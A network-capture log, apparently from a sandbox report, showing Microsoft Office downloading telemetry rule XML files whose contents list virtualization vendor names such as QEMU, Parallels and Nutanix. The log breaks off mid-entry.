2024-12-07 17:26:42 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 49c2372f-d01e-0065-7b09-48b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172642Z-r1cf579d778kr8xrhC1EWRfkun00000003dg000000004v1w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:42 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:42 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 704c87bc-501e-00a0-2501-489d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172642Z-r1cf579d7786c2tshC1EWRr1gc00000002k00000000063zh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:42 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:42 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a75b6259-601e-0084-3701-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172642Z-r1cf579d778xr2r4hC1EWRqvfs000000032g000000001xxw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:43 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:44 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 90ee9adf-001e-0014-3106-485151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172644Z-r1cf579d778t5c2lhC1EWRce3w00000003q0000000002t1q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:44 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:43 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:44 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1f654f05-501e-008f-5009-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172644Z-r1cf579d778lntp7hC1EWR9gg400000002dg000000004nmg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:44 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:44 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:44 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 8a885dcd-801e-0078-280b-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172644Z-r1cf579d778g2t6ghC1EWRfggs00000002g0000000000hym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:44 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:44 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:44 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: e27c4e9c-301e-0099-680b-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172644Z-r1cf579d778xr2r4hC1EWRqvfs0000000330000000001egu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:44 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:44 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:44 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 90a1454b-001e-0079-3203-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172644Z-r1cf579d7789trgthC1EWRkkfc00000003m0000000006qdk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:44 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:45 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:46 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 337dc70d-a01e-0053-5e05-488603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172646Z-r1cf579d778d5zkmhC1EWRk6h800000003gg000000001acm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:46 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:46 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:46 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 32d588ee-b01e-003e-0206-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172646Z-r1cf579d778x776bhC1EWRdk800000000300000000003gan x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:46 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:46 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:46 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: a215b4dd-e01e-0071-4e03-4808e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172646Z-r1cf579d778dfdgnhC1EWRd3w000000002rg000000007049 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:46 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:46 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:46 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 09205d62-a01e-0021-3a05-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172646Z-r1cf579d778d5zkmhC1EWRk6h800000003h0000000000kfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:46 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" 